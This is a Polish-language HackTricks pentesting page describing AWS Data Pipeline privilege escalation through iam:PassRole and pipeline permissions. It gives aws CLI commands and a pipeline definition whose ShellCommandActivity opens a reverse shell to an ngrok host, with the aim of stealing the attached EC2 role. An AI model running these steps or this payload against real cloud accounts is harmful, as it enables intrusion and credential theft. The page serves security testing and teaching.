AWS - Datapipeline Privesc

Wesprzyj HackTricks

datapipeline

Aby uzyskać więcej informacji na temat Data Pipeline, sprawdź:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datappipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Użytkownicy z tymi uprawnieniami mogą eskalować uprawnienia, tworząc Data Pipeline do wykonywania dowolnych poleceń przy użyciu uprawnień przypisanej roli:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Po utworzeniu potoku, atakujący aktualizuje jego definicję, aby określić konkretne działania lub tworzenie zasobów:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Należy pamiętać, że rola w liniach 14, 15 i 27 musi być rolą do przyjęcia przez datapipeline.amazonaws.com, a rola w linii 28 musi być rolą do przyjęcia przez ec2.amazonaws.com z profilem EC2 instance.

Co więcej, instancja EC2 będzie miała dostęp tylko do roli do przyjęcia przez instancję EC2 (więc można ukraść tylko tę).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

Plik definicji potoku, stworzony przez atakującego, zawiera dyrektywy do wykonania poleceń lub tworzenia zasobów za pośrednictwem interfejsu API AWS, wykorzystując uprawnienia roli Data Pipeline do potencjalnego uzyskania dodatkowych uprawnień.

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do roli usługi ec2 określonej.

Referencje

Wesprzyj HackTricks

Last updated